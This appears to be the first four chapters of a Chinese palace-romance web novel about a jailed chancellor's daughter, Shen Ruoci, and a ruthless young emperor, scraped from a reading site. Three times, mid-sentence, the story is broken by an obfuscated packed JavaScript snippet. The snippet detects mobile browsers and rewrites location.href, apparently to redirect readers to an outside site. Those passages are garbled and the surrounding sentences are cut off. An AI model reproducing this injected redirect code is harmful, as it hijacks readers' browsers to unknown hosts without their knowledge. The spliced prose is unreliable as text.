《失忆后被帝王强取豪夺》 1. 第 1 章 夏末暑气未消,盛京相府门前却是门庭若市。来往的行人大多是身着华服的年轻男子,引得路人频频观望。 不远处绿荫下,石板路上站着闲聊的两人。 其中一人指着相府的门匾,“奇了怪了,沈相而今失势入狱,怎地相府门前还是这多人啊?” 对面笑道,“你这就有所不知了,相府没了个相爷,还有个娇滴滴的病美人……” 那人恍然大悟,想起沈相得势时,这些纨绔子弟虽心慕美人,却丝毫不敢造次,“唉,前两年马家那位大公子,在街上轻薄了小美人几句,隔天就跪在相府门口自扇耳光,哪个儿不知道沈相将这个女儿当成了宝!” “据说这次沈相出事后,原本有意同这女子定亲的国公府也放出了话,袁沈两家议亲的事就此作罢,看来是不想要这女子了。啧啧,相府这朵娇花没了依靠,从前觊觎她的那些人又开始动起了歪心思。” “马大公子如今是静妃娘娘的亲大哥,沈相却成了阶下囚,不过两年的光景,风水轮流转,这位病美人怕是,嘿嘿……” 那人也不将话说完,两人心照不宣地笑了几声,从相府门前离开。 果然不出半晌,路人口中的马大公子,马瑜春骑着高头大马,从一众人马中缓缓前行,高调地同熟人打招呼。 一阵寒暄调笑过后,他忽然摆正脸色道,“各位都知道在下曾因误会跟相府结下梁子。而今相府风光不在,马某却非落井下石的小人。只要沈大小姐愿意,在下可以不计前嫌,随时接纳她……” 从前他有意娶她为妻,那时沈大小姐看不上他。而今的沈若辞只配做他的妾,这女子他肖想许久了,没想到有朝一日能逮到机会。马瑜春嘴上说得冠冕堂皇,实则心里得意又解气。 马家世代为官,前两年又出了一位妃子,马瑜春一事无成,却仰仗家族恣意妄为。 什么样的女子他得不到,昔日相府的千金,而今很快要成为他的囊中之物。 马瑜春这会儿反倒不着急了,毕竟美味值得等待。他可以等,等她走投无路了,他便可轻而易举地收了她。 * 清晨日光清浅,初升的一抹朝阳,从雕花窗柩斜斜落入房中,穿透层层叠叠的月白色帐幔,柔柔地洒在少女纤秀的身影上。 闺房中有淡淡的月麟香,四面墙上镂空玲珑金丝楠木架上,或藏书画,或悬琴箫,无一不精致奇巧。 院中脚步声细碎,缓缓而近,榻上少女恍然从梦中惊醒,浑身如梦中一般汗涔涔的,她拥着锦被坐在帐中,身影孤零零的,呼吸微乱。 沈若辞无力地舒出一口气,纤纤玉手撩起半边床幔,露出女子绝色的容颜。 下一刻门被打开,晨曦倾泻而入。 小丫鬟双眸乌黑滑亮,一手扶着门框,跨过门槛朝床榻一望,见榻上人醒,嘴角努力挤出一丝笑容,放开步子走了进来。 “天还早呢,小姐怎么不多睡会?”阿茉进屋后放好凉水盆子,扯下白布巾没入水中。 沈若辞疲惫地揉了揉额角,光洁的额头下眉眼昳丽,却尽显忧虑之色,一脸倦容。 “不睡了,等会还有些事情要做。” 今日已是第三天了,事情恐怕比她想的还要严重。 叛国通敌,这罪名太大了。 “小姐,相爷一向对朝廷忠心耿耿,相信圣上会查明真相,还他一个清白……你也别太担忧,小心身子。” 阿茉用银勾将床幔束起,她自小跟着沈若辞,对自家小姐的性子十分了解。若不是担忧极了,也不会露出这般颜色。 这状况让她隐隐不安,忍不住说些好话来宽慰沈若辞。 只是没想到这话让她心头一紧。 而今最让沈若辞担忧的事情是,就算她爹没有这般罪行,皇帝也不肯轻易罢休。 这不过是一个导火索。 先帝早逝,年仅六岁的太子被扶上皇位,这些年来朝廷中各股势力相互角逐倾轧。现如今当年的小皇帝已长大,羽翼渐丰,开始下手铲除旁余势力,肃清朝政。 以目前的形势来看,她爹恐怕会成为下一个被开刀的对象。 沈若辞无力地垂下眼帘。 “阿茉,帮我准备衣裳,等会从龙岩寺回来,我顺路去将军府一趟。” 她要亲自去将军府送一张拜帖。 阿茉闻言唬了一跳,愣在原地不敢相信。 说话的同时,沈若辞已经从床上下来,准备梳洗。 阿茉拧干布巾,瞪圆了眼睛惊讶道,“将军府?小姐该不会是要去见黑面战神连将军吧……” 沈若辞平静地拿过布巾,“没错,连家作为圣上的母族,若能为我爹说上两句话,肯定是事半功倍。” 阿茉眼巴巴地追着问,“可是连将军会帮相爷吗?” 沈若辞自然也想过这个问题,连家向来跟她爹不对付,袖手旁观是情理之中的事情。 但凡事都没有绝对,父亲的亲信在朝堂上据理力争,并没有结果。 没有选择的时候,但凡能想到的法子,都要试上一试。 “只能一试。” 她神色淡淡的,看不出任何想法。 阿茉叹了口气,回头从衣柜里找出一套外出的衣裳。 沈若辞作为大魏朝廷重臣的千金,又是沈相唯一的孩子,从小就被捧在手心里长大的,吃穿用度自然也是极好的。 梳洗过后,阿茉帮她换上淡黄色的交襟襦裙。她没有给沈若辞挽发髻,只是将两边鬓发用珍珠发簪别起,及腰长发披散在窈窕的倩影,端庄秀美又不失灵动。 阿茉又认真地检查了一番,确保穿戴无误后,便伺候沈若辞用上早饭。 沈若辞接连几日都没什么胃口,早饭吃得极少。阿茉正想劝慰两句,就听见外边沈若嫣的丫鬟明月前来求见。 沈若辞示意阿茉让她进来。 “她来做什么?”阿茉边走边嘀咕,前去将人喊进来。 明月今日着一身喜庆的桃红色衣裳,面上带着张扬的笑容,进门就向沈若辞福了福,“二小姐安好。” “何事?”沈若辞看了她一眼,桃红色明晃晃的,有些扎眼。 沈若嫣是沈若辞的堂姐,二人同岁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16404462|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但自小性子天差地别,向来走不到一块去,不知她的丫鬟突然前来所为何事。 明月回道,“二小姐,老夫人请您过去前厅一趟。” 阿茉心直口快,“老夫人请二小姐过去,怎么是你来传话?” 明月并没有回答阿茉的问题,转而对沈若辞解释道,“事关沈相安危,二小姐还是亲自去一趟比较好。” 话说得似乎是诚恳的,但语气听起来却让人不快。 沈若辞关心父亲的安危,一点消息也不肯错过,所以并没有深究明月的态度,叫上阿茉就往前厅过去。 沈家有三个儿子,沈相行三,是最小的儿子,也是三兄弟中最成器的。 沈家一门的荣耀全靠沈相一人支撑。 但而今他落难了,众人似乎并不担忧,反而隐隐有种墙倒众人推,坐等看好戏的快意。 大伯二伯二人眼高手低,又骄奢成性,以往没少给沈相惹麻烦,落下的烂摊子不计其数。因着手足情义,很长一段时间都替这二人摆平这些麻烦。 奈何这些人非但没有悔改,反而变本加厉,沈相一气之下便发誓不再管沈家的破事。 时间长了,三房跟这些人的关系就疏远起来。 沈若辞并不意外沈家人的做法,这些年两个伯父对她爹积怨颇深,她也从不指望他二人能在她爹困难的拉他一把。 没有期望就没有失望。 三房虽是最显赫的,但人丁稀少,只有沈若辞父女两个。 二人又喜欢清净,居住的院落靠着一片竹林,离主院最远,极少有人过来打扰。 沈老夫人向来不喜沈若辞,原因无它,还是沈若辞的身世问题。她记得幼时祖母并不待见她,对家中其他姐妹甚是和蔼,唯独对她冷眼相待。 起初她也没当一回事,直到后来有一次,她跟家中姐妹们闹矛盾,定是要争出个对错,便去找祖母评理。 哪知祖母不听缘由,直接当着众姐妹的面,叫她收敛一下性子,说她爹到底是要娶妻生子的,她左右不过是个外室生的孩子,气性太大,最终只会伤了自己。 那时候她听得懵懵懂懂,不甚明白祖母的意思。等她将祖母讲的话悉数转告给父亲时,沈相当场勃然大怒,抱着年幼的她,连夜召集沈府所有家眷,就连本已安寝的祖母,也被请到了正厅。 父亲当着众人的面,一字一句告诫众人,沈若辞是他沈墨唯一的孩子,是相府最尊贵的嫡女,日后再有风言风语传到他耳中,决不轻饶。 沈老夫人听得脸色铁青,明知儿子是在拿话点自己,却也只能附和道,“听好,记住你们三弟的话,日后若有谁明知故犯,到时候别说我不保你们!” 回去的路上,沈若辞见父亲依旧绷着脸,一副不开心的样子,她抱住父亲的脖子,学着他的样子,有模有样地说道,“阿爹,沿沿告诉您一件事。”她小脸贴着父亲的耳朵,“沿沿跟阿爹一样,也只认您一人做我的爹爹。”沈相当场就被逗笑了。 沈若辞一踏入主院,就觉得气氛有些微妙。等她行至前厅的时候,里边人声嘈杂,一片欢声笑语。 2. 第 2 章 笑声传入耳中,淡黄色裙摆下,点缀着幽兰的绣鞋明显停了一下。 只是一瞬,复又举步迈过门槛。 “若辞来啦。”沈老夫人端坐于主位之上,平日里面容严肃,今日竟破天荒地微微带笑。 沈若辞心中微微诧异,但还是按照规矩向长辈行礼问安。 “今日唤你来,是要告诉你一件事。你大姐明日就要入宫侍奉君王,这是沈家的喜事,也让你沾一下喜气。” 沈若辞迎上沈老夫人的目光,面容平静如水。片刻之后,才转身向沈若嫣祝贺,“恭喜大姐。” 沈若嫣坐在一群少女之中,眉眼艳丽,大红色的窄腰纱裙衬得身姿袅娜,容色过人。听到沈若辞的祝贺后,得意之色不加掩饰。 不止沈若嫣,沈忠也觉得倍长脸。 三弟昔日素来瞧不起自己,而今锒铛入狱,自己却攀上了好运,日后没准还能成为皇亲国戚。 沈忠一想起来就觉得美滋滋的,多年来受过的窝囊气一扫而空,洋洋自得道,“亏你爹还是自家兄弟呢,嫣儿美貌过人,风光的时候也不曾想过引荐一下自家侄女。而今落魄了,连个帮忙说话的人也没有。哎,亲兄弟还不如外边的朋友实在。” 大伯父向来不学无术,平日里结交的大多是些狐朋狗友。一听他提起朋友,沈若辞心下起疑,害怕他耳轻,轻易误信他人妄言,“大伯父,大姐入宫一事可是经皇上亲口允诺?” 沈忠原本志得意满,被沈若辞这么一问,神色竟有些躲闪,含糊其辞道,“虽不是圣上亲口说的,但也算是圣上的意思。” 沈若辞原本不掺和大房二房的事情,但如今是敏感时期,可能一点差池都会对父亲的安危产生不可估量的伤害,她还是多嘴问了一句,“传话的人可信吗?” 沈忠见她追根问底,顿时心有不悦。三弟看不起他就算了,而今连个女娃子也敢来质疑他。沈忠感觉被下了面子,面上无光,端着长辈的架子说得冠冕堂皇,“可信自然是可信的,你也不必多问。此番送若嫣入宫,并非只为她一己私利。你爹而今身陷牢狱,我们送嫣儿入宫,让她尽心侍奉帝王,也是赶紧表明沈家的忠君之心。” 表明沈家的忠心自然是好的,怕就怕用错了法子。 三妹沈若绮跟沈若嫣手挽着手,二人亲密极了,远远地望向沈若辞,“二姐也不必太过担忧三叔。以大姐沉鱼落雁之貌,进宫以后肯定能博得盛宠,到时候再让圣上放了三叔,也不是难事。” 一席话说得沈若嫣心花怒放,沈家众人也眉开眼笑,这正是众人共同的想法。 三弟的权势靠不住了,拿个绝色的女儿来走裙带关系,也不失为上策。 沈若辞只觉得一阵无力感袭上心头,要是事情有这么简单就好了。 今日对于沈若嫣来说是大喜的日子,但沈若辞却板着一张脸不见笑容,这让她心中隐隐不悦。 此时见她身姿窈窕,容色艳艳,媚人的小脸被一身嫩黄的色调衬得愈发娇嫩可人。 沈若嫣觉得刺眼极了。 她二人年纪相仿,自小便事事爱与沈若辞做比较,奈何资质平庸,容貌上也略逊三分。久而久之,心里便对她产生了妒忌。 这次能入宫侍君,本以为可以在她面前耀武扬威一回,却不想她根本不受刺激,压根儿也没有半分钦羡之色。 沈若嫣心里莫名发堵。 沈若辞向来与沈家人保持着该有的礼貌,眼见长辈已将话说完,自己还有事情要忙,便不再久留。 沈忠见丫鬟替她披上披风,就知道沈若辞又要出门,于是自觉苦口婆心地劝导,“你与袁国公府的公子要好,但你二人的亲事只是口头之约,并无三书六礼。而今你频频出府,姑娘家的四处抛头露面,惹怒了袁家,你与他的亲事就要告吹了。你爹的事不是你一个弱女子能解决的,还是安心留在府里等消息吧。” 听沈忠提起袁大公子,阿茉捏着披风系带的手骤然一顿,抬头望了望沈若辞,见她面容如常,眼神澄澈,不慌不乱地回应,“若辞言行自有父亲教导,不劳伯父费心。” 言罢她深深地鞠了一躬,带着阿茉出了前厅。 * 龙岩寺坐落在湖山腰畔,山间云雾缭绕,水声淙淙。 山林寂静,云雾之中树木丰茂丛密,自团团绿意中现出些许朱梁碧瓦,此处就是盛京香火鼎盛的龙岩寺。 今日初一,前来上香许愿的人络绎不绝。沈若辞因沈若嫣一事耽搁了时间,等她到的时候,已经有许多香客离开了。 马车停放在寺庙一旁的老榕树下,阿茉提着装满香纸供品的篮子先一步下车,下车后将篮子交给车夫,又马上回头去扶沈若辞。 沈若辞还没站稳,就听见后边传来一声“沈姑娘”。她循声望去,一位衣装华贵的夫人正撩起马车的车帘,远远地喊了她一声。 阿茉认得这位夫人,正是国公府的袁夫人,也是袁子逸的母亲。 等她二人走过去拜见的时候,袁夫人也刚好从车上下来,身旁还跟着个样貌清秀的年轻女子。 沈若辞刚行了礼,袁夫人就笑盈盈地拉着那女子的手向她介绍,“沈姑娘,这位是薛元柔。柔儿是薛贵妃的嫡亲妹妹,今日特地陪我来上香,是个温柔孝顺的好孩子。” 袁夫人对薛元柔的喜欢溢于言表,但对沈若辞的态度却明显冷了许多。早些年两家经常来往,袁夫人都亲切地唤她一声“小辞”,而今这声沈姑娘却明显生分了许多。 沈若辞隐约想到了什么,也没有将此事放在心上,只是客气地朝薛元柔笑了笑,便准备辞行。 薛元柔却突然打开了话头,“沈姑娘,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16404463|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听子逸哥哥说你俩是青梅竹马,两小无猜……” 沈若辞莞尔一笑,正准备点头的时候,就见一旁的袁夫人似乎很是反感这种说法,生硬地笑了笑,“都是些陈年往事了,孩子间的玩笑话,不当真。这子逸也真是,幼时的事也拿出来说,也不怕耽误沈姑娘以后找婆家,我回去说说他。沈姑娘别介意啊……” 沈若辞一时怔愣,沈相入狱前,她与袁子逸的婚事已经提上日程。袁夫人作为男方母亲,不可能会对此事一无所知。但此时却在外人面前故意与她避嫌,但凡脑子没有点问题,都能听出她话中有话。 袁夫人说这些话的目的是什么?沈若辞低头思索了一下,抬头的时候,正巧看到薛元柔亲昵地挽着袁夫人的手。 沈若辞忽地回味回来,原来袁夫人大老远地将她喊过来,不仅仅是要打个招呼那么简单,最主要的目的,是要拿话点她。 阿茉也听出来,感觉一阵气恼。 没想到沈若辞只是淡淡地笑了笑,又从容地说了声“无妨”。袁夫人又跟她寒暄了几句,才心满意足地带着薛元柔打道回府。 沈若辞虔诚地拜了佛祖,又捐了些香油钱,才带着阿茉离开了龙岩寺。 佛祖面前,阿茉向来虔诚敬重,不敢造次。等到一上马车,立即气鼓鼓地抱怨,“小姐,这袁夫人也太势利了吧。” 沈相落难,袁夫人就急于撇清关系。这事她们家小姐听了,该有多难过啊。 沈若辞有多喜欢袁子逸,阿茉觉得自己最清楚不过了。两年前沈若辞还没生病的时候,那阵子她天天往医馆跑,晚上回来的时候总是很开心,经常一个人偷偷傻笑。 后来她才知道,原来小姐有了喜欢的人。就算她没有明说是谁,阿茉也能猜到这人是袁子逸。 沈若辞跟袁子逸自小相识,二人性情爱好相投,在旁人眼里一直是青梅竹马的典范。 但若论及如何喜欢上袁子逸——这事沈若辞是没有记忆的,她生病以后忘了一些事情,所以很多细节都是从别人口中得知的。 袁子逸温文儒雅,待人真诚友善,情窦初开的少女倾心于他,再正常不过。 袁夫人虽势利,但沈若辞相信袁子逸不会是这样的人。毕竟在她病重的时候,袁子逸依然不离不弃,甚至求沈相答应二人的婚事,他愿意终身照顾沈若辞。 这事她一直记着,“阿茉,子逸哥哥不会这样的……” 阿茉也是气昏了头,这时听沈若辞这么说,也觉得有理,附和道,“也是,当初袁公子跪在相爷面前,说你俩情投意合,求相爷成全你二人的婚事,他愿意照顾小姐一生一世,这事我是亲眼见,不造假。” 阿茉回忆着,又补上一句,“那时候相爷还不同意呢,他觉得袁公子配不上小姐,后来也是见他真心对小姐好,才同意的……” 3. 第 3 章 提起沈相,沈若辞心里又是百感交集,“爹总是愿意顺着我……” 沈相曾与她说过,袁子逸虽对她好,但袁家人不是善类,她嫁过去恐怕会受欺负。那时候沈若辞病得迷迷糊糊,哪里听得进去这些话。 可是后来袁子逸私底下跟沈相坦白了二人的情意,沈相不想女儿伤心,暂时应了下来。 二人才有了议亲的说法。 而今相府出事,看意思袁家人是不想认了。 父亲还在牢狱之中,板上钉钉的婚事又横生枝节,沈若辞心里乱糟糟的,说不出是什么滋味。 她告诉自己,当务之急是父亲的事,自己的婚事她目前无暇顾及,先当做无关紧要的事情暂且推到了一边。 * 龙泽殿内有淡淡的草药香气,气氛肃穆,一片安静和缓。 宝座上年轻的帝王眉目清隽,目不斜视,把玩着手中的宝剑。 片刻之后,微微抬起精致的下颌,薄唇轻启,话语清冷如玉,“事情办得如何?” 皇帝虽然年纪不大,但登基至今已有十来年,举手投足间自带帝王的贵气。殿中垂首待命的官员闻言,慌忙朝上座拜了拜,“回皇上,事情已办妥。下官已将消息透露给沈家人,沈忠也表明了忠君之心,明日便将沈氏女送入宫中。” 冯得才一口气将事情回禀完毕,却没有得到料想中的回复,大殿中安静得出奇。他壮着胆子,偷偷撩起眼皮看了一眼,整个人都呆住了。 传言小皇帝为人嚣张狂妄,性子又阴晴不定,这样的人竟然长着一张俊得出奇的脸,貌似谪仙,恍若天边最亮的星辰一般夺目。 但此时圣上看起来似乎心绪不佳,绝美的面容蒙着一层淡淡的阴郁,想必是为了沈相叛国一事一筹莫展。 冯得才官阶不够,没上过早朝,但私底下却没少听说,沈相与皇帝二人因政见不同,没少在早朝上针锋相对。二人关系几度紧张,似乎已到了无法缓和的地步。 而今沈相被抓到致命的把柄,圣上恐怕不会轻易善罢甘休。 他诚惶诚恐,迅速地收起目光垂下头去。 “此事你一人知道就好,若有他人知晓,担心狗命。” 皇帝把玩着手中的宝剑,说话的声音显得漫不经心,自始至终没有看他一眼,冯得才却惊起了一身冷汗。 此时他才后知后觉地发现,这并不是个好差事。 沈氏女也是走了厄运,日后要伺候这么个暴君,那日子简直生不如死。 他也顾不上可怜别人,当即重新跪回地上,再三保证会守口如瓶。 皇帝将宝剑入鞘,轻慢了看了一眼冯得才抖成筛子的身子,神色鄙夷,“下去吧。” “冯大人,这边请。”殿中的公公上前引路。 冯得才恭恭敬敬地行了一礼,始终没敢抬头再看皇帝一眼,便由那叫常安的公公领着出了龙泽宫。 * 隔天,沈若辞按照请贴上约好的时间前去将军府。 沈府这些年没有沈相的接济,经常是入不敷出,府中风光不再,空留一个壳子。 沈若辞走出大门的时候,宋临已经靠在马车旁边等她。“小姐,是宋大哥。”阿茉小声提醒了一句。 宋临是沈相的贴身护卫,沈相入狱后,他没少跟着奔波。 沈若辞点了点头,走到马车前边的时候,宋临递过来一把长剑,“小姐,你要的赤玉剑带来了。” 赤玉剑?阿茉心里一惊,扶住她的手问道,“小姐拿相爷的赤玉剑做什么?” “送人。”沈若辞接过宋临手中的宝剑,心中隐隐有些愧疚。 阿茉怀疑自己听错了,这宝剑是当初相爷几番周折又一掷千金才得来宝贝,到手后又一直爱不释手。而今小姐竟私自将剑拿去送人,这恐怕不大合适。小姐自从生病后,身子弱了不说,记性也不大好,很多事都忘了,她有必要在旁提醒一下。 “小姐,这把剑是相爷的宝贝命根子,你确定要拿去送人?” 沈若辞小心翼翼地将长剑抱在怀里,轻叹了一口气,“命根子算什么,命才重要。” 她没时间跟阿茉啰嗦了,回头招呼宋临一同上车,“阿临一起上马车,我有些事需要再跟你确认一下。” 宋临与沈若辞年纪相仿,自小一起长大,关系并不疏远。只是年岁渐长,男女有别,理应避嫌。 他面露犹豫,“小姐,此举不合规矩。” 沈若辞跟车夫说一个地名之后,提着裙摆准备上马车。记忆中宋临一直是小大人的模样,从小就护着她。 临上车之前,她回头望了宋临一眼,“办正事要紧,不要拘泥于这些小节。” 沈相年轻时候,据说言行激进,在保守派眼里,就是个离经叛道的人。后来位极人臣,又有了女儿,这些年倒是沉稳了不少。 沈若辞自小由他亲自教导,沈相骨子里的张狂,她或多或少学到了一些。 宋临不再推辞,紧随其后上了马车。 沈若辞与阿茉比肩而坐,宋临挺直了腰板,坐在二人对面。 车轮响动,马车缓缓加速行进,沈若辞已告知车夫前去醉仙楼。 打从沈相入狱后,沈若辞怕他吃不好,每日都从酒楼买了饭菜,送到牢里交给沈相。 人虽没法子见到,但花点银子打点一下,送些饭菜还是不成问题。 宋临这几日来接连奔波都没有结果,此刻面容依旧英挺刚硬,但眉眼的疲倦却难以掩饰。 沈若辞又详细地询问了沈相入狱前的一些细节,宋临一一作答。 外界传闻沈相私下与邻国互通书信,企图通敌叛国。叛国一事本就无凭无据,皇帝拿沈相也没有办法。 巧合的是那日沈相真真确确收到了姜国的来信,待人追查到府上,要求沈相交出信件自证清白的时候,令人匪夷所思的一幕出现了——沈相当众将信件烧毁。 宋临当时就跟在沈相身边,对事发的经过一清二楚。 沈若辞心中疑惑丛生,秀眉不自觉蹙起,“信上到底写了何事,爹爹为何宁可入狱,也要将信件烧毁?” 沈若辞百思不得其解。 以她对父亲的认知,通敌绝不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16404464|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是沈相能做出来的行为,但信中的内容却引人深思。 宋临也没有任何头绪,但见沈相放在心尖上的女儿饱受煎熬,心有不忍,怕是沈相知道了,又该是捶胸顿足一番心疼。 按着这情况下去,保不成沈相没出来,沈若辞却病倒了…… “相爷的事还需从长计议,小姐注意身体要紧,莫让沈相操心。” 一场大病之后,沈若辞身子严重亏损,而今好不容易养回来一些,这次打击又让她身心俱损。 “阿临说的是,我定会好好保重身体,让爹爹安心。” 沈若辞自小没有母亲,沈相将她视若珍宝,又当爹又当娘,一路呵护了十几年,宝贝得不行。若她有点差池,怕是要肝肠寸断。 两年前那场大病,她仍记忆犹新。父亲四处奔走为她寻遍名医,又一路担忧劳累,短短一个月瘦了十斤,这些她都看在眼里。 所以意识清醒后,她拼命地养身子,就是害怕父亲再为她操劳。 马车行至醉仙楼,车夫进店拿了食盒,又交至沈若辞手中。 沈若辞前往天牢送完饭菜,又携阿茉赶往将军府。昨日的拜帖她已亲自送至连府,希望今日能顺利与连骁见上一面。 等她到达将军府的时候,才被告知连将军外出尚未回府。 这本是意料之中的事情,但是接连几日来处处碰壁的事实,还是令她的心态有些崩坏,心中的绝望在这一刻酝酿到极致。 “小姐你没事吧?”阿茉见沈若辞垂着头,一脸沮丧,不由得心生担忧。 沈若辞缓了片刻,松开握得发白的手指头,朝阿茉笑了笑,“阿茉,我没事的,咱们上车吧。” 二人坐上马车后并没有离开,车帘被掀起,沈若辞注意着将军府大门的动静。 她今日势必要跟连骁见上一面。 幸好功夫不负有心人,沈若辞还是等来了连骁。 当那骑着高头大马的英气男子从远处过来的时候,沈若辞一眼认出那人便是画像中的连骁。 有求于人,她还是做过功课,提前看过此人的画像。 此时从马车上下来,正好赶上连骁下马。沈若辞怀中抱着长剑一路小跑,紧紧地跟在对她视若无睹的男人身后,一声“连将军”刚唤出口来,眼前疾走的身形突然一顿。 凌厉的话音陡然响起,“说,跟着本将军干什么?” 沈若辞还没来得及自报家门,就见一道白光从眼前闪过,顷刻之间,前边的男人已回转身子过来面对她而站。 未及看清,惊觉下巴一凉,一截泛着寒光的剑尖已抵在下颚,俏生生的小脸被迫微微仰起。 杏眸含娇,微有惧意。只见她怯生生地举起手中的长剑,吃力地说道,“我、我将赤玉剑给连将军送来了。” 她昨日已来送过拜帖,今日是来履行诺言的。 眼前少女樱唇粉嫩,眉眼明丽,双眸明亮澄净,恍若春水流入心窝,直挠得人心尖发痒。 连骁手劲一松,登时隐去七分力道,紧接着是一声讥笑,语气不屑自带三份狂妄,“你不怕?” 4. 第 4 章 沈若辞定了定心神,轻轻地呼出一口气,才小心翼翼地开口,“刀剑无眼,我自然是怕的。” 连骁五官深邃,剑眉英挺斜飞入鬓,双眸漆黑锐利,整张脸如刀削般凌厉。此刻听沈若辞被他吓到,竟一脸不过如此的嘲讽。 尚未开口,少女娇柔的声调复又从耳边响起,“连将军乃我们大周赫赫有名的战神,手上的剑素来都是为国为民而战。刀剑虽无眼,但持剑之人向来只会将剑对准外敌,却不会伤及我们大魏子民。” 一席话下来,流畅自然,既无奉承之意,却有溢美之词,听得连骁朗声大笑,英俊的眉目舒展开来,少了几分戾气。 “沈相横行朝野多年,素来目中无人惯了。所幸生出来的女儿心明如镜,不似他老人家那般混沌独断专行。” 连骁话里有话,又趁机挖苦了沈相一把。 事实上,沈墨并不老,他生得好看,就算人至中年,依然有小姑娘赶着给沈若辞当后娘。 所以每每朝堂之上针锋相对的时候,一抬头看到沈相那张过分俊朗年轻的面容,心中的怒气又添了三分。 沈若辞微微一笑,明知连骁因着朝堂恩怨有意嘲讽,却没有反唇相讥。见他不再绷着脸,才暗自卸下防备,重新将手中的赤玉剑递了上去。 连骁看着她手中的宝剑,却不伸手去接。这赤玉剑确实是他的心头好,他曾费了一番心思去寻找此剑,遗憾的是最终与之失之交臂。 而今梦寐以求之物便在眼前,他却迟疑了,“沈小姐怕是求错人了,皇上与沈相不和,也不是一天两天的事。而今他又有叛国的嫌疑,我素来与沈相不是一路人,并没有什么交情,不至于为了一点好处,去淌这趟浑水替他求情……” 连骁拒绝得毫不留情,沈若辞也早有预料。赤玉剑虽稀奇,但到底是死物,连骁不受诱惑也正常,她不过以此为由头约见连骁。 今日她见连骁的真正目的是送出信件,钱财物件都是身外物,只有关乎到切身利益,才有可能让他费心思去为父亲求情。 沈若辞将一早备好的书信拿出来,“若辞这里有书信一封,连将军可以先看信,再决定要不要帮我爹。将军能在百忙之中抽空见我一面,若辞甚是感激,赤玉剑是赠礼,与您最后做何决定没有关系。” 赤玉剑已交给连骁的随从,而这封信她却亲自送到了连骁手上。 拜别了连骁,沈若辞坐在回程的马车上陷入沉思。而今信件已顺利送出去,能不能说动连骁救人,就要听天由命了。 * 沈若嫣自从得知要入宫侍君后,就一直沉浸在自己美好的幻想中。 今日初次面见皇帝,为了给他留下好印象,也是煞费苦心,半夜就起来梳妆打扮。 进宫的路上她虽紧张,却没有一点不安,皇帝性子不好,但又何妨,就算是暴君,作为美人总会有特别的优待。 沈若嫣对自己的外貌向来很有自信,觊觎她的男人不在少数,却没有一个能给她想要的地位。 而今得了飞上枝头的机会,她更需要好好把握。 龙泽殿内。 岳常安刚从外边进来,皇帝背着手在殿中踱步,看起来悠闲自在。他立马走上前禀道,“皇上,沈忠已在殿外等待,一同前来的还有位年轻女子。” 沈相智勇双全,沈忠之辈却庸懦无能。今日沈忠能将人带来了,也不至于太蠢。 皇帝心中一哂,微微偏头过来,双眸熠熠生辉。 岳常安被他眼中的光芒闪到了眼,又不禁感慨皇帝果然是天之骄子,人中龙凤,连样貌都是拔尖的。 正走神,皇帝开口说道,“沈忠侯着,唤那女子进来。” 言语淡淡的,岳常安却能感觉到皇帝心情似乎还不错。 他有些疑惑,但还是一声应下,出去传话。 片刻之后,沈若嫣心情忐忑地进入殿中。 龙泽殿内安静得出奇,沈忠被拦在了殿外,只留沈若嫣一人进来。 一想到自己即将面临帝王的宠幸,尽管做好了充足的准备,沈若嫣还是经不住脸上泛红,心砰砰乱跳。 皇帝身姿颀长,侧身坐在龙案前,单手支着脑袋,看不清神色。 沈若嫣轻轻地唤了一声“皇上”,隔了一会才听上首男子“嗯”了一下,她像受到了鼓励,壮着胆子走上前去。 脚步声渐近,皇帝的手不知何时放回了案几上,他的手指如同上等的白玉雕琢而成,散发着温润的光泽,骨节分明,修长而挺拔,有一下没一下地敲着桌面,却始终没有抬头看她一眼。 沈若嫣等得心慌,心念一动,壮着胆子便伸手抚上案几上男人的手。 “皇上。”她娇怯地低下头,凝着两人交叠的手。 “做什么?” 座上的男人这会才有了反应,慵懒地伸展手脚,挺直了身子。 皇帝突然开口,沈若嫣欣喜不已,正准备再靠近一些,那只手却冷不防地被人甩开,磕碰在坚硬的桌角上,疼得她眼中起了雾。 模糊中帝王俊容带着凛冽的寒意,嘴角微微上扬,是……讥诮的笑意。 沈若嫣心中腾起一种不祥的预感的,但她不愿意相信。帝王面容俊朗,看得她心神荡漾,哪里舍得就此放弃。 打定了注意,她也顾不得什么廉耻之心,软着身子朝他身上靠了上去。 只是……人还没挨着,就被一股强劲的力道推了出去。 沈若嫣尚未反应过来,身子已向后跌出去,直至撞到了书架才停下来。书册自高处砸下来,劈头盖脸地落到她身上。慌乱之中,男子的声音尤其刺耳,“送水进来,朕要洗手。” 内侍送了水进来,见地上钗斜鬓乱的女子,私下都暗暗诧异,忍不住多看一眼。 